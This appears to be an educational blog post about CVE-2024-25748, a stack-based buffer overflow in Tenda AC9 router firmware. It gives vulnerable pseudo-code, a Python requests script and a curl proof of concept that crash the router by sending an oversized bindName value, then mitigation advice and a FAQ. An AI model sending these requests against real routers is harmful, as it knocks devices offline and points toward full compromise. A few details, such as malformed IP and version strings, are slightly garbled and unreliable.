CVE-2024-25748 is a critical vulnerability discovered in the Tenda AC9 router (hardware version 3., firmware version v15.03.06.42_multi). The flaw resides in the *fromSetIpMacBind* function, allowing remote attackers to trigger a stack-based buffer overflow and potentially execute arbitrary code on the target device. In this guide, we will break down the vulnerability in simple terms, show how it can be exploited, and provide code snippets to help you understand the risk.

What Is a Stack-Based Buffer Overflow?

A stack-based buffer overflow happens when a program writes more data to a buffer (temporary data storage) located on the stack than it was intended to hold. This can overwrite other critical data in the program, including the function's return address. When this overflow is controlled by an attacker—like through a network request—it can let them execute arbitrary code with the privileges of the affected service.

Type: Stack-based Buffer Overflow

- CVSS v3.1 Score: Critical (Usually 9.8/10 for remote code execution, but check NVD for the score)

When the router's web service handles requests for IP-MAC binding settings through fromSetIpMacBind, it does not properly check the length of incoming parameters, especially the bindName POST parameter. An attacker can send an overly-long string here, breaking the flow of the program and allowing control over it.

1. Locating the Vulnerable Function

Analysis of the firmware binary shows a vulnerable call to strcpy, which lacks bounds checking.

// Pseudo-code inside fromSetIpMacBind
char buffer[64];
strcpy(buffer, web_request->bindName); // No length validation!

2. Sending the Exploit Payload

To exploit the vulnerability, an attacker sends an HTTP POST request to the web interface, typically at port 80, to the endpoint handling IP-MAC bindings with a long bindName value.

Example Exploit Request (Python 3)

import requests

url = "http://<TARGET_ROUTER_IP>/goform/fromSetIpMacBind";
payload = "A" * 100  # Adjust size until buffer is overflowed; actual exploit would include shellcode/payload.

data = {
    "bindName": payload,
    "otherparam": "value",  # Replace with actual params as per router interface
}

response = requests.post(url, data=data)
print(response.text)

The size and content of the payload can be fine-tuned based on memory analysis and the attacker’s goals (e.g. running a shell, rebooting device, or extracting sensitive data). Advanced attacks replace the "A" * 100 payload with actual shellcode combined with a return address (ROP chain) suitable for the processor inside Tenda AC9.

3. Observing the Outcome

If successful, this triggers a crash (doS) or—if the stack is carefully crafted to redirect execution—a full compromise. Because the Tenda router runs most web services as root, this gives the attacker total control.

Here is a condensed proof-of-concept exploit (does not give a shell, but shows the crash)

curl -X POST \
    -d 'bindName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
    -d 'ip=192.168..100' \
    http://<TARGET_ROUTER_IP>/goform/fromSetIpMacBind

Watch the router’s web interface crash or reboot after this request. For full remote code execution, custom payloads and further debugging (using gdb or similar tools on MIPS) are needed.

Responsible Disclosure and Patch

At the time of writing, no official patch is available for this specific firmware version. Users are strongly advised to:

Block access to the web interface from untrusted users and networks.

- Regularly check for firmware updates at the Tenda Official Website.

References

- NVD - CVE-2024-25748
- Tenda AC9 Official Support
- Exploit Database - Tenda Vulnerabilities
- Firmware Analysis on GitHub (search for tenda/ac9 firmware tools)

# FAQ

Q: Is this exploit available on the open internet?
A: Simple DoS proof-of-concepts are public, but reliable remote code execution exploits are typically retained by researchers or sold on dark forums.

Q: Can I protect my router?
A: Block WAN-side (internet) access to the admin panel, keep firmware up to date, or replace the router with a patched device.

Conclusion

CVE-2024-25748 is a dangerous, easily-exploitable stack overflow in Tenda AC9 routers running a specific firmware. It requires urgency from both Tenda and users to patch or mitigate the hole, as the consequences can include complete router compromise. Always keep your router behind a firewall, and never expose its admin panel to the internet.


*This post is exclusive and tailored for educational and responsible security research purposes only.*

Timeline

Published on: 02/22/2024 23:15:07 UTC
Last modified on: 08/28/2024 18:35:10 UTC